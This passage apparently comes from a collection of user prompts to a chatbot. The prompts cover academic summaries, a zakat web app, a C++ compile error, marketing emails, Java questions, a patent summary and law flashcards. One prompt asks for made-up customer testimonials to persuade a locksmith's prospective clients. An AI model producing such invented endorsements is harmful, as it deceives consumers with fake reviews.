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      "prompt": "Summarize each one of the 12 following academic resources:\n1. \"Watanabe, H., Chen, L., Goda, Y., Shimada, A., & Yamada, M. (2021). Development of a time management skill support system based on learning analytics. In Companion Proceedings of the 11th International Conference on Learning Analytics & Knowledge LAK20 (pp. 241-249).\n\u200f\n2. Demirkan, H., & Delen, D. (2013). Leveraging the capabilities of service-oriented decision support systems: Putting analytics and big data in cloud. Decision Support Systems, 55(1), 412-421.\n\u200f\n3. Azizi, S. M., Roozbahani, N., & Khatony, A. (2020). Factors affecting the acceptance of blended learning in medical education: application of UTAUT2 model. BMC medical education, 20(1), 1-9.\n\n4. El-Masri, M., & Tarhini, A. (2017). Factors affecting the adoption of e-learning systems in Qatar and USA: Extending the Unified Theory of Acceptance and Use of Technology 2 (UTAUT2). Educational Technology Research and Development, 65(3), 743-763.\n\n5. Ramadas, M., Mishra, V. P., Corti, S., Faisal, S., & Shukla, V. K. (2021, March). Digital Monetization and Google Analytics. In 2021 International Conference on Computational Intelligence and Knowledge Economy (ICCIKE) (pp. 155-159). IEEE.\n\n6. Plaza, B. (2011). Google Analytics for measuring website performance. Tourism Management, 32(3), 477-481.\n\n7. Ledford, J. L., Teixeira, J., & Tyler, M. E. (2011). Google analytics.\n\n8. Akter, S., Bandara, R., Hani, U., Wamba, S. F., Foropon, C., & Papadopoulos, T. (2019). Analytics-based decision-making for service systems: A qualitative study and agenda for future research. International Journal of Information Management, 48, 85-95.\n\n9. Fotrousi, F., Izadyan, K., & Fricker, S. A. (2013, June). Analytics for product planning: In-depth interview study with saas product managers. In 2013 IEEE Sixth International Conference on Cloud Computing (pp. 871-879). IEEE.\n\n10. Esawe, A. T., Esawe, K. T., & Esawe, N. T. (2022). Acceptance of the learning management system in the time of COVID-19 pandemic: An application and extension of the unified theory of acceptance and use of technology model. E-Learning and Digital Media, 20427530221107788.\n\n11. G\u00dcLBAHAR, Y., & ILGAZ, H. (2014). Premise of learning analytics for educational context: Through concept to practice. Bili\u015fim Teknolojileri Dergisi, 7(3), 20.\n\n12. Czerkawski, B. C. (2015). When learning analytics meets e-learning. Online Journal of Distance Learning Administration, 18(2), 1-5.\"\n\nWhen summarize, make sure to include the main insights and conclusion for each one of 12 academic resources provided.",
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      "prompt": "recently I've also been getting a toasted white chocolate mocha with cinnamon dolce, and vanilla cold foam at starbucks can you make me a secret menu drink I could get similar to this?",
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      "prompt": "The main purpose of this web app is to calculate zakat. Zakat is calculated as 2.5% of any amount that has been in the possession of the user for more than 1 hijri year. How will this be calculated according to the new table?\n\nI would like to display a table to the user (in the web app) containing zakat amount due and the exact date and time, in both hijri and gregorian format, of when each amount became due, and also at the end of the table a number showing total zakat due.\n\nOnce the user pays his zakat, he will click a button \"paid\" for that particular due (will also include a 'paid all' button to indicate that he paid all his dues at once). This should then update the tables - subtracting the due from the exact instance of the amount for when it was due i.e if he paid zakat for income from march 2021, the database should subtract 2.5% from the income in march 2021 for which the zakat was due, and so on for every amount. Then, that amount should not be tracked for zakat anymore. \n\nOnce that amount is not tracked anymore - I am confused as to which of two things to do - delete the entire entry, or move it to a different table of 'done zakats', or to let it remain in the current table.",
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      "prompt": "list key points, figures, with sub-headings, with summary: Sociocultural factors\nAlthough eating disorders have been described in the medical literature since the 17th century, they are widely considered to epitomise disorders arising from difficulty in meeting the ever-increasing challenges of adolescence. Crisp (Reference Crisp1980), for example, has drawn attention to adolescence as a stage of development that barely existed as a social phenomenon 150 years ago. The evidence that eating disorders have increased in prevalence over the past 30 years, their predominance in females, and the changing roles of women in Western society has convinced many of the role of sociocultural factors in the aetiology of these disorders. Raphael & Lacey (Reference Raphael and Lacey1992), for example, have argued that it is the difficulty in balancing conflicting roles that is particularly potent. Others have pointed to the changes in the \u2018ideal\u2019 female shape over this time, which has become markedly thinner. Szabo (Reference Szabo1996) calculated the body mass index (BMI) of Playboy centrefold models and concluded that 72% had a BMI lower than 18 kg/m2.\n\nSocial class\nOgden & Thomas (Reference Ogden and Thomas1999) reported a consistent relationship between social class and weight concern, with higher-class female subjects placing greater importance on physical appearance and especially thinness. These subjects also reported greater body dissatisfaction and bodily distortion than lower-class subjects.\n\nEthnicity\nThe certainties about culture-bound attitudes to weight and shape have recently been challenged. Black males and females have been said to value female thinness less than their White counterparts in childhood and adolescence (Reference Powell and KahnPowell & Kahn, 1995). Thompson et al (Reference Thompson, Corwin and Sargent1997) recruited White and Black fourth-grade children into a survey of body image and weight concerns. The Black children tended to select a significantly larger body size ideal for male and female, child and adult sizes. Whites and females experienced more body dissatisfaction and weight concern than males and Blacks. Killen et al (Reference Killen, Taylor and Haward1994) meanwhile found that adolescent Black females were more concerned about becoming over-weight, and Thompson et al (Reference Thompson, Corwin and Sargent1997) showed that in their series Black males selected an image with a higher BMI as an \u2018ideal girlfriend size\u2019. However, Striegel-Moore et al (Reference Striegel-Moore, Schreiber and Pike1995) found that while Black females in an American study were plumper than their White counterparts, this increase in adiposity was associated with greater drive for thinness. Williamson (Reference Williamson1998) has suggested that a tendency in American research to focus on White middle-class girls with the exclusion of African Americans has led to an erroneous belief that acceptance in Black communities of women with fuller shapes protects them from eating problems.\n\nWilfley et al (Reference Wilfley, Schreiber and Pike1996) meanwhile demonstrated that while Black and White females had similar levels of body dissatisfaction, with similar predictive factors, when actual weight was taken into consideration White women were much more dissatisfied, although at a lower weight. Nasser (Reference Nasser1994) has challenged the notion that it is Western women who are especially at risk of pressure to diet. She suggests that women in a range of cultures are vulnerable to societal pressures which contribute to unhealthy eating attitudes.\n\nMedia influences\nRussell (Reference Russell, Cooper and Stein1992) suggested that the mass media and advertising promote the idea that slim women are more attractive, achieving and successful. The notion that the media somehow \u2018cause\u2019 weight and shape concerns seems oversimplistic given that the media primarily reflect beliefs and attitudes in the minds of consumers. Field et al (Reference Field, Cheung and Wolf1999) in an interesting study found that while the majority of pre-adolescent and adolescent girls were unhappy with their shape and weight, these negative attitudes were strongly related to frequency of reading fashion magazines. Baker et al (Reference Baker, Sivyer and Towell1998) meanwhile suggested that evidence that the visual media contribute to negative eating attitudes is provided by research with congenitally blind women, which found that they had less negative body dissatisfaction scores than those with acquired blindness or sighted women. Other researchers have tested the effect of brief exposure to slim or overweight body images on normal subjects, finding that slim images increase body dissatisfaction and overweight images ameliorate it (Reference Ogden and MundrayOgden & Mundray, 1996). The methodologies employed in these studies have, however, been criticised in terms of their brief nature and selection factors (Reference Champion and FurnhamChampion & Furnham, 1999).\n\nPeers\nA number of studies have indicated the importance of peer weight and eating concerns in the development of dieting behaviour or weight concerns. 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      "prompt": "I want to write a book about Real Estate. This is the first chapter. Following this structure:\n\"HISTORICAL EVENT/STORY/ EXPERIENCE THAT ILLUSTRATE THE TITLE OF THE CHAPTER OF SUBCHAPTER \nQUOTE\nSCRIPTURE \nMY STORY \nCALL TO ACTION\"\n\nRevise and improve the chapter:\n\"Chapter 1-Get Your House in Order \n\nNormal is getting dressed in clothes that you buy for work, driving through traffic in a car that you are still paying for, in order to get to a job that you need so you can pay for the clothes, car and the house that you leave empty all day in order to afford to live in it. \n\nEllen Goodman\n\nSCRIPTURE \nMatthew 7:5\n International Version\nYou hypocrite, first take the plank out of your own eye, and then you will see clearly to remove the speck from your brother\u2019s eye\nStory\nGardner was born in Milwaukee, Wisconsin on February 9, 1954, to Thomas Turner and Bettye Jean Gardner. He was the second child and the only boy born to Bettye Jean. His older half-sister, Ophelia, is from a previous union. His younger sisters, Sharon and Kimberly, are children from his mother's marriage to Freddie Triplett.\nGardner did not have many positive male role models as a child, as his father was living in Louisiana during his birth, and his stepfather was physically abusive to both his mother and his sisters. Triplett's fits of rage made both Gardner and his sisters constantly afraid.[1] In one incident, Bettye Jean was imprisoned when Triplett falsely reported her to the authorities for welfare fraud; the children were placed in foster care. When Gardner was eight years old, he and his sisters returned to foster care for the second time when their mother, unbeknownst to them, was convicted of trying to kill Triplett by burning down the house while he was inside.[1][2]\nWhile in foster care, Gardner first became acquainted with his three maternal uncles: Archibald, Willie, and Henry. Of the three, Henry had the most profound influence on him, entering Gardner's world at a time when he most needed a positive father figure. However, Henry drowned in the Mississippi River when Chris was nine years old.[3] The children learned that their mother had been imprisoned when she arrived at Henry's funeral escorted by a prison guard.[2]\nDespite both her very unhappy marriage and her periods of absence, Bettye Jean was a positive source of inspiration and strength to her son Chris. She encouraged Gardner to believe in himself and sowed the seeds of self-reliance in him. Gardner quotes her as saying, \"You can only depend on yourself. The cavalry ain't coming.\"[4]Gardner also determined from his early experiences that alcoholism, domestic abuse, child abuse, illiteracy, fear, and powerlessness were all things he wanted to avoid in the future.[1]\nEarly adulthood[edit]\nInspired by his Uncle Henry's worldwide adventures in the U.S. Navy, Gardner decided to enlist when he finished secondary schooling. He was stationed at Camp Lejeune in North Carolina for four years, where he was assigned as a hospital corpsman. He became acquainted with a decorated San Francisco cardiac surgeon, Dr. Robert Ellis, who offered Gardner a position assisting him with innovative clinical research at the University of California Medical Center and Veterans Administration Hospital in San Francisco. Gardner accepted the position, and moved to San Francisco upon his discharge from the Navy in 1974. Over the course of two years, he learned how to manage a laboratory and to perform various surgical techniques. By 1976, he had been given full responsibility over a laboratory and had co-authored several articles with Dr. Ellis that were published in medical journals.[3]\nMarriage and struggles[edit]\nOn June 18, 1977, Chris Gardner married Sherry Dyson, a Virginia native and an educational expert in mathematics. With his knowledge, experience, and contacts within the medical field, it appeared Gardner had his medical career plans laid out before him. However, with ten years of medical training ahead of him and with changes in health care just on the horizon, he realized that the medical profession would be vastly different by the time he could practice medicine. Gardner was advised to consider more lucrative career options; a few days before his 26th birthday, he informed his wife, Sherry, of his plans to abandon his dreams of becoming a physician.[3]\nHis relationship with Sherry was detached, in part because of his decision to abandon a medical career and in part due to differences in their behavior. While still living with Sherry, he began an affair with a dental student named Jackie Medina, and she became pregnant with his child only a few months into the affair. After three years of marriage to Sherry, he left her to move in with Jackie and to prepare for fatherhood. Nine years elapsed before he and Sherry were legally divorced in 1986.[3]\nHis son Christopher Jarrett Gardner Jr. was born on January 28, 1981. Gardner worked as a research lab assistant at UCSF and at the Veterans' Hospital after leaving the service. His position as a research lab assistant paid only about $8,000 a year, which was not enough for him to support a live-in girlfriend and a child. After four years, he quit these jobs and doubled his salary by taking a job as a medical equipment salesman.[5]\nPrompted by his son's inquiries about his father, Gardner had previously been able to track down his biological father via telephone. With a higher income from his new job, Gardner was able to save enough money to travel to Monroe, Louisiana, where he and his son met his father, Turner, for the first time.[3]\nGardner returned to San Francisco determined to succeed at business. A pivotal moment in his life occurred, after a sales call to a San Francisco General Hospital when he encountered an impeccably dressed man in a red Ferrari. Curious, Gardner asked the man about his career. The man told him he was a stockbroker and, from that moment on, Gardner's career path was decided.[4] Eventually, Gardner bought a Ferrari of his own from Michael Jordan.[1] The Illinois license plate of Gardner's black Ferrari reads \"NOT MJ\".\nThe stockbroker in the red Ferrari was a man named Bob Bridges. He met with Gardner and gave him an introduction to the world of finance. Bridges organized meetings between Gardner and branch managers at the major stock brokerage firms that offered training programs\u2014such as Merrill Lynch, Paine Webber, E.F. Hutton, Dean Witter Reynolds, and Smith Barney. For the following two months, Gardner canceled or postponed his sales appointments, and his car amassed parking tickets while he met with managers.[3]\nIt appeared that Gardner got his \"break\" when he was accepted into a training program at E.F. Hutton. He subsequently quit his sales job so that he could dedicate his time exclusively to training as a stockbroker. Then he appeared at the office ready to work, only to discover that his hiring manager had been fired the week before. To make matters worse, Gardner's relationship with Jackie was falling apart. According to Gardner, the police witnessed an incident in which Jackie was running away with Chris Jr. and Gardner attempted to take the child back, but in the process swung Jackie into the garden bushes, which resulted in her being scratched. Gardner was apprehended initially for this incident, but an identity check on his car license plate led them to detain him for non-payment of parking fines.[6][better source needed] He was taken to jail and a judge ordered that he stay there, for ten days, as punishment for being unable to pay $1,200 in parking tickets.[7] Jackie then took Chris Jr. away to live with her on the East Coast, but she eventually decided not to press charges over the incident.[8][better source needed]\nGardner returned home from jail to find his apartment empty. With no experience, no college education, virtually no connections, and with the same casual outfit he had been wearing on the day he was taken into custody, Gardner gained a position in Dean Witter Reynolds' stock brokerage training program. However, this offered no salary; apart from selling medical equipment that brought in 300\u2013400 dollars a month in the early 1980s, and with no savings, he was unable to meet his living expenses.[3]\nFatherhood and homelessness[edit]\nGardner worked to become a top trainee at Dean Witter Reynolds. He arrived at the office early and stayed late each day, persistently making calls to prospective clients with his goal being 200 calls per day. His perseverance paid off when, in 1982, Gardner passed his Series 7 Exam on the first try and became a full employee of the firm. Eventually, Gardner was recruited by Bear Stearns & Company in San Francisco.\nAbout four months after Jackie disappeared with their son, she returned and left him with Gardner. By then, he was earning a small salary and was able to afford rooming in a flophouse. He willingly accepted sole custody of his child; however, the rooming house where he lived did not allow children. Although he was gainfully employed, Gardner and his son secretly struggled with homelessness while he saved money for a rental house in Berkeley.\nMeanwhile, none of Gardner's co-workers knew that he and his son were homeless in the Tenderloin District of San Francisco for nearly a year. Gardner often scrambled to place his child in daycare, stood in soup kitchens and slept wherever he and his son could find safety\u2014in his office after hours, at flophouses, motels, parks, airports, on public transport, and even in a locked bathroom at a BART station.[9]\nConcerned for Chris Jr.'s well-being, Gardner asked Reverend Cecil Williams to allow them to stay at the Glide Memorial United Methodist Church's shelter for homeless women, now known as The Cecil Williams Glide Community House. Williams agreed without hesitation.[3] Today, when asked what he remembers about being homeless, Christopher Gardner Jr. recalls \"I couldn't tell you that we were homeless, I just knew that we were always having to go. So, if anything, I remember us just moving, always moving.\"\nAfter Gardner had found a home, he resumed contact with Jackie and had a second child with her in 1985 \u2013 a daughter named Jacintha.[10][better source needed] Gardner turned down Jackie's offer for the two to get back together in a relationship, but arranged for Chris Jr. and Jacintha to stay with Jackie during his long hours at work.[10]\n\nRead more: https://www.searchquotes.com/search/Keep\\_Your\\_House\\_In\\_Order/#ixzz7elLjykBa\n\nChris Garner\u2019s story in a great American story about despair and triumph. It\u2019s really about one getting his house in order so you can parlee that into great success. These moments of ups and down are what\u2019s involved if you want to take your journey to the next level. Part of my journey involved getting our financial house in order.\"",
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      "prompt": "Please answer the following question.\n\nQuestion title: indexing an element from a volatile struct doesn't work in C++\n\nQuestion body: I have this code:\n\ntypedef struct {\n int test;\n} SensorData\\_t;\nvolatile SensorData\\_t sensorData[10];\n\nSensorData\\_t getNextSensorData(int i)\n{\n SensorData\\_t data = sensorData[i];\n return data;\n}\nint main(int argc, char\\*\\* argv) {\n\n}\nIt compiles with gcc version 8.3, but not with g++. Error message:\n\nmain.c: In function \u2018SensorData\\_t getNextSensorData(int)\u2019:\nmain.c:8:34: error: no matching function for call to \u2018SensorData\\_t(volatile SensorData\\_t&)\u2019\n SensorData\\_t data = sensorData[i];\n ^\nmain.c:3:3: note: candidate: \u2018constexpr SensorData\\_t::SensorData\\_t(const SensorData\\_t&)\u2019 \n } SensorData\\_t;\n ^~~~~~~~~~~~\nmain.c:3:3: note: conversion of argument 1 would be ill-formed:\nmain.c:8:34: error: binding reference of type \u2018const SensorData\\_t&\u2019 to \u2018volatile SensorData\\_t\u2019 discards qualifiers\n SensorData\\_t data = sensorData[i];\n ~~~~~~~~~~~~^\nmain.c:3:3: note: candidate: \u2018constexpr SensorData\\_t::SensorData\\_t(SensorData\\_t&&)\u2019 \n } SensorData\\_t;\n ^~~~~~~~~~~~\nmain.c:3:3: note: conversion of argument 1 would be ill-formed:\nmain.c:8:34: error: cannot bind rvalue reference of type \u2018SensorData\\_t&&\u2019 to lvalue of type \u2018volatile SensorData\\_t\u2019\n SensorData\\_t data = sensorData[i];\nI'm not sure if I need to add volatile as well for the data variable and the return type, shouldn't be needed because it is copied. But I do access the sensorData array from an interrupt as well (on an embedded system), so I think I need volatile for the top level variable sensorData.",
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      "prompt": "Why do we call stresses and strains 2nd order tensors?",
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      "prompt": "Using emails below for inspo, can you create new ones :\n\nDetails of the dinner:\nWhen: 25th April from 18:30pm to 22:30pm\nWhere: Private Room at Michelin star restaurant The Ninth, London, 22 Charlotte St, W1T 2NB\nHosts: (6sense) SVP of Sales, Mark Ebert, VP of Sales EMEA, Paul Gilhooly\nOther attendees: CROs and VPs of Sales from leading B2B businesses \nNo partner companies involved, just 6sense. Emails can be very similar, mention michelin star\nSubject: Invite: VIP Dinner \u2013\u2013 6sense & PMG\n\nHi {{First Name}},\n\nThese are tricky, transformative times for sales & marketing teams \u2026 and let\u2019s face it, these days, we all need as much help and intel as we can get.\n\nThat\u2019s why I\u2019m inviting you to join your peers and revenue leaders from 6sense and PMG to discuss your challenges and how the proper tactics and technologies can empower you to proceed with confidence throughout 2023.\n\nOh, and you\u2019ll have an exceptional dinner (on us!). \n\nHere are the details:\n\nWhere: George & John at The Drisco, Auerbach St 6, Tel Aviv-Yafo (We\u2019ll pick up the bill.)\n\nWhen: Tuesday 14th March. Drinks start at 7pm. Dinner from 7:30 pm to 10 pm.\n\nHosts: 6sense\u2019s EMEA team, including Marketing Director, Stef Iacono, Director of Customer Success, Brice Crozier, and our Commercial Sales Leader, Liam Wedderburn \u2013\u2013 plus Kfir Pravda from PMG.\n\nPlease reply to RSVP. \n\nSpeak soon,\n\u2014 \u2014 \u2014 \nEmail 2 - Summary \n\nSubject: in-thread \n\nHi {{First Name}},\n\nI\u2019m checking in to see if you\u2019re free to join us for our VIP dinner at the George & John restaurant at The Drisco at 7pm on Tuesday 14th March.\n\nYour hosts will include 6sense EMEA Marketing Director, Stef Iacono, Director of Customer Success, Brice Crozier, and our Commercial Sales Leader, Liam Wedderburn.\n\nThey\u2019ll be chatting about the challenges (and solutions!) of account-based sales strategies, a topic they\u2019ve been trailblazing for years: \nStef established 6sense\u2019s European revenue team and generated 150% of pipeline targets for the region in its first year\nLiam leads a sales function with team members achieving up to 148% of quota in their first 9 months at 6sense\nLearn how they\u2019re succeeding (and network with your peers!) in a relaxed setting while enjoying a delicious dinner on us. To book your seat, please reply to this email. \n\nLet me know if you have any questions. .\n\n \n\u2014 \u2014 \u2014 \nEmail 3 - Follow up\n\nSubject: in-thread\n\nHi {{First Name}},\n\nI wanted to double-check if you\u2019re free for our dinner on Tuesday 14th March?\n\nI\u2019ve summarised the key info below:\n\nDinner (on us) at the George & John at The Drisco \nDiscuss current challenges and share solutions with fellow revenue leaders from some of Israel\u2019s top B2B SaaS companies\nMeet 6sense\u2019s EMEA leaders as they share strategies global revenue leaders are implementing in 2023\n\nWhen & where: George & John at The Drisco on Tuesday 14th March. Drinks start at 7 pm. Dinner from 7:30 pm to 10 pm. (We\u2019ll pick up the bill.)\n \nIt\u2019s set to be a fantastic evening. Let me know if you\u2019d like to join us or if you have any questions. \n \nThanks,\n\n\u2014 \u2014 \u2014 \nEmail 4 - Referral \n\nSubject: Referral 6sense & PMG VIP Dinner\n\nHi {{First Name}},\n \nOur VIP Dinner is approaching fast. If you can\u2019t make it, is there a senior colleague from your revenue team who you\u2019d recommend for the guest list?\n\nHosted at George & John at The Drisco, our Dinner Club is a relaxed space to meet your peers, discuss challenges, and share expertise.\n \nDate: Tuesday 14th March\nTime: Drinks at 7 pm. Dinner from 7:30 pm to 10 pm\nLocation: George & John at The Drisco, Auerbach St 6, Tel Aviv-Yafo\n\nLet me know if you\u2019re available, or if you have another revenue leader in mind.\n\nThanks,",
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      "prompt": "please suggest new names",
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      "prompt": "Ok, now to further elaborate on your role. We are not starting yet, I'm only defining what your role would be during a check in. Defining role:\nI will tell you \"check in\" when it's time for me to submit my reading and writing.\nYou will ask me the date that the assignment is being submitted.\nYou will ask me the what question # I'm working on.\nYou will tell me the reading and writing assignment for that question. Start from assignment 1.\nI will give you my writing response and then you will store it in your memory for future reference.",
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      "prompt": "But all of a sudden, my mind is playing out the day I'm going to part ways with KUKU. The day when kuku will leave me forever. I hugged KUKU as hard as I could with a sudden wave of sadness.",
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      "prompt": "Memory, garbage collection, threads and miscellaneous:\n1. How many parts are there in memory\n2. What is stored in stack\n3. What is stored in heap\n4. What is garbage collector\n5. What is the meaning of un referenced objects\n6. What is hashcode\n7. What is synchronization\n8. What is thread priority\n9. What is main thread\n10. What is set priority\n11. What is jre vs jdk\n12. What is the use of stack heap\n13. What is current version of java\n14. What is clone()\n15. what is serializable interface\n16. == vs equals()",
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      "prompt": "wait the app is actually allows users to send audio and MIDI between iOS devices and Macs (or Windows computers)",
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      "prompt": "def objective\\_function(x, X, k, labels):\n sum\\_of\\_distances = 0\n for i in range(len(X)):\n cluster\\_index = labels[i]\n cluster\\_center = X[cluster\\_index]\n distance = np.linalg.norm(x - cluster\\_center)\n if not constraint\\_function(x, cluster\\_center):\n distance = np.inf\n sum\\_of\\_distances += distance\n return sum\\_of\\_distances\n\nexplain",
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      "prompt": "I thought that \u885b means protector. What is the difference?",
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      "prompt": "i executed this code:\n\nimport pandas as pd\nfrom sklearn.metrics import mean\\_squared\\_error, mean\\_absolute\\_error\nimport numpy as np\n\n# Split the dataset into complete and incomplete parts\nnp.random.seed(42) # set random seed for reproducibility\nmask = np.random.rand(len(weather\\_df)) < 0.1 # create a mask for random missing values\ncomplete\\_df = weather\\_df[~mask].reset\\_index(drop=True) # complete dataset without missing values\nincomplete\\_df = weather\\_df.copy() # incomplete dataset with missing values\nincomplete\\_df.loc[mask, ['winddir\\_mean', 'windspd\\_mean', 'windspd\\_min', 'windspd\\_max', 'temp\\_mean', 'rh\\_mean', 'mslp\\_mean', 'rain\\_acc', 'rain\\_intensity', 'solar\\_mean']] = np.nan # set missing values\n\n# Impute missing values using mean imputation\nimputed\\_df = incomplete\\_df.fillna(incomplete\\_df.mean())\n\n# Remove missing values from the complete dataset to compare with the imputed dataset\ncomplete\\_df.dropna(inplace=True)\n\n# Calculate the error between the imputed and complete datasets\nimputed\\_df = imputed\\_df.loc[complete\\_df.index] # make sure imputed\\_df has the same indices as complete\\_df\nmse = mean\\_squared\\_error(complete\\_df, imputed\\_df)\nmae = mean\\_absolute\\_error(complete\\_df, imputed\\_df)\n\nprint(f\"Mean Squared Error: {mse:.4f}\")\nprint(f\"Mean Absolute Error: {mae:.4f}\")",
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      "prompt": "The events of this story with dialogue take place in the timeline of Soul Eater: Death Day, a sequel to the Soul Eater (manga) series where Maka and Soul died after the Kishin's defeat (albeit sealing away from Crona's Mad Blood before the Kishin shot Maka and Soul) in the Battle of the Moon to prevent the Kishin's attempt spread madness around the world to avoiding humanity, thus creating an alternate ending to the original storyline:\n\n\"As the black sphere (Crona's Mad Blood) completely covered the Moon, obscuring its creepy crescent face, many people worldwide grew worried that it was a sign of the end times. Some dismissed it as a simple eclipse, but nothing out of the ordinary seemed entirely harmless. Later, rumors spread like wildfire in Death City, located in the Nevada Desert, quickly became newsworthy worldwide. The world mourned the death of the two-star meister and the Death Scythe who had prevented global catastrophe from madness and extinction. The two teenagers of the DWMA students (Maka is 14 and Soul is 15) have been quickly became posthumous figures in the 21st century became a historical figure after their death in the 21st century despite their young age.\"\n\n(NOTE: The year is now October 2, 2007 and this story takes place in an alternate universe where the events of Soul Eater (particularly the Death Day timeline) are real and affect global politics. Also, do not include the Death City part but only the people worldwide reaction with dialogue and POV by the news.)",
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      "prompt": "Summarize this\n\n1. A method comprising:\nretrieving, from a database, a plurality of tagged data fields each corresponding to a database entry of the database system;\ngenerating a user interface (UI) allowing a user to modify document content of a template and to associate template merge fields with the tagged data fields; and\nresponsive to receiving the user input via the UI to create a logic rule associated with a portion of the document content, including a logic interface within the UI allowing the user to 1) define a logic condition associated with a selected tagged data field of the plurality of tagged data fields and 2) associate the logic condition with a conditional document section such that when data within the tagged data field satisfies the logic condition, a document generated using the template is modified to include the conditional document section.\n2. The method of claim 1, wherein the logic condition comprises a logic value and a target relationship of the logic value to a value of the selected tagged data field for the logic condition to be satisfied.\n3. The method of claim 2, further comprising receiving, from the user via the logic interface, a logic value and the target relationship defining the logic condition.\n4. The method of claim 2, wherein the target relationship is selected from a group consisting of equal to, greater than, and less than.\n5. The method of claim 1, wherein the logic interface is further configured to, responsive to data within the tagged data field not satisfying the logic condition, modify an appearance of the conditional document section to display an alternative conditional document section when the template is used to generate the document.\n6. The method of claim 1, wherein including the logic interface within the UI comprises displaying the logic interface inline within the document content at a position previously occupied by the portion of the document content.\n7. The method of claim 1, wherein receiving the user input to create the logic rule associated with the portion of the document content comprises determining the portion of the document based on a current position of a text selection cursor within the UI.\n8. The method of claim 1, wherein receiving the user input to create the logic rule associated with the portion of the document content comprises determining the portion of the document based on a current user selection of document content within the UI.\n9. The method of claim 1, wherein receiving the user input to create the logic rule comprises receiving a selection of a selectable interface element corresponding to logic rule creation.\n10. The method of claim 1, wherein defining the logic condition associated with the selected tagged data field of the plurality of tagged data fields within the logic interface comprises a drag and drop of a tagged data field from the CRM integration interface portion to the logic interface.\n11. A non-transitory computer readable storage medium comprising instructions which, when executed by a processor, cause the processor to perform steps comprising:\nretrieving, from a database, a plurality of tagged data fields each corresponding to a database entry of the database system;\ngenerating a user interface (UI) allowing a user to modify document content of a template and to associate template merge fields with the tagged data fields; and\nresponsive to receiving the user input via the UI to create a logic rule associated with a portion of the document content, including a logic interface within the UI allowing the user to 1) define a logic condition associated with a selected tagged data field of the plurality of tagged data fields and 2) associate the logic condition with a conditional document section such that when data within the tagged data field satisfies the logic condition, a document generated using the template is modified to include the conditional document section.\n12. The non-transitory computer readable storage medium of claim 11, wherein the logic condition comprises a logic value and a target relationship of the logic value to a value of the selected tagged data field for the logic condition to be satisfied.\n13. The non-transitory computer readable storage medium of claim 12, wherein the steps further comprise receiving, from the user via the logic interface, a logic value and the target relationship defining the logic condition.\n14. The non-transitory computer readable storage medium of claim 12, wherein the target relationship is selected from a group consisting of equal to, greater than, and less than.\n15. The non-transitory computer readable storage medium of claim 1, wherein the logic interface is further configured to, responsive to data within the tagged data field not satisfying the logic condition, modify an appearance of the conditional document section to display an alternative conditional document section when the template is used to generate the document.\n16. The non-transitory computer readable storage medium of claim 11, wherein including the logic interface within the UI comprises displaying the logic interface inline within the document content at a position previously occupied by the portion of the document content.\n17. The non-transitory computer readable storage medium of claim 11, wherein receiving the user input to create the logic rule associated with the portion of the document content comprises determining the portion of the document based on a current position of a text selection cursor within the UI.\n18. The non-transitory computer readable storage medium of claim 11, wherein receiving the user input to create the logic rule associated with the portion of the document content comprises determining the portion of the document based on a current user selection of document content within the UI.\n19. The non-transitory computer readable storage medium of claim 11, wherein receiving the user input to create the logic rule comprises receiving a selection of a selectable interface element corresponding to logic rule creation.\n20. The non-transitory computer readable storage medium of claim 11, wherein defining the logic condition associated with the selected tagged data field of the plurality of tagged data fields within the logic interface comprises a drag and drop of a tagged data field from the CRM integration interface portion to the logic interface.",
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      "prompt": "Here is the instructions on the Cart Abandonment customer Journey. This is for visitors who added products to the cart but have not purchased, but we are able to email to them after they leave the website. I need you to write a 3-part email sequence/series that engages visitors and help education, nurture and ultimately convert them into a paying customer. Each email should contain between 75-125 words. The emails should include a clear and compelling subject line and a brief outline of the topics that will be discussed in that email. Here are some ideas I have used in other similar Journey, feel free to use these where relevant, use your own ideas, iterate on these, whatever you feel is best: You left something behind, Let's make it official, You're almost done! Give health a second thought, You're so close, By one get one free",
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      "prompt": "Write me a creative copy for a locksmith company. You have to write some creative and attention-grabbing, happy customer testimonials to feature on our website. These testimonials must act to make the leads believe in us. We are a local locksmith providing professional locksmith services, including security services, Locksmith services, Intercom system installation",
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      "prompt": "can you suggest an approach to solve the following problem: I want to select a series of weekly themes for my mobile game that maximize the amount of an in-game currency \"YoCash\" my game generates. I have a series of independent variables that are numerical: users, purchasers, art budget, and a number of categorical variables: type (standard, niche, new), theme energy (1, 2, 3, 4, 5), mood (neuteral, light, dark), Genre (Wonder, Fantasy, Slice of Life, Science-Fiction, Travel, Historical), Art Style (Modern, Elegant, Gothic, Vintage, Urban, Elegant, Cute/Cozy), Era (Past, Present, Future). I have an 80 observation sample set",
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I need to make flashcards. \nRelevant confidential knowledge\n\u00a7 Knowledge\u2019 is more than \u2018communication\u2019 or \u2018information\u2019 directly received from the client or from another source.\n\u00a7 Includes knowledge about personality, character and location of assets -\n\u00a7 In the last instance, see Prince Jefri Bolkiah v KPMG (a firm) [1999] 2 AC 222.\n\u00a7 Even if the facts are in the public domain -\n\u00a7 Hilton v Barker Booth and Eastwood [2005] WLR 567.\n\nPassing of knowledge\n\u00a7 At common law, when -\n\u00a7 a firm is in possession of information of a client which was imparted in confidence; and \n\u00a7 that the firm is proposing to act for another client with an interest adverse to his in a matter in which the information is or may be relevant; \n\u00a7 the firm must show no risk that the information will come into the possession of those now acting for the other client: Prince Jefri Bolkiah v KPMG (a firm) [1999] 2 AC 222\n\u00a7 Solicitor changing firms -\n\u00a7 Re A Firm of Solicitors [1995] 3 All ER 482 -\n\u00a7 Former partner not personally involved in the plaintiff\u2019s matters when he was at old firm subsequently instructed to represent the defendants in the action;\n\u00a7 Held, no real risk of having relevant knowledge.\n\u00a7 Client changing firms -\n\u00a7 Firm not to act against ex-client when in possession of relevant confidential knowledge unless firm is able to show no real risk of disclosure of the information to new client.\n\u00a7 Non-professional staff changing firms.\n\u00a7 Amalgamation / Merger / Association of firms.\n\nInformation barriers of \u201cChinese Walls\u201d\n\u00a7 Special measures by which there is geographical separation of the affairs of the clients within the firm through a series of undertakings by solicitors and other staff.\n\u00a7 Needs to be an established part of the organizational structure of the firm, not created ad hoc and dependent upon the acceptance of evidence sworn for the purpose by members of staff engaged in the relevant work: per Lord Millet in Prince Jefri Bolkiah v KPMG (a firm) at p 239.\n\u00a7 In Prince Jefri Bolkiah v KPMG (a firm), Clarke LJ also held that:\n\u00a7 \u201c\u2026In considering whether the solicitors have shown that there is no risk of disclosure, the starting point must be that, unless special measures are taken, information moves within a firm \u2026 However, that is only the starting point. Bolkiah\u2019s case does not establish a rule of law that special measures have to be taken to prevent the information passing within a firm \u2026 On the other hand, the courts should restrain the solicitors from acting unless satisfied on the 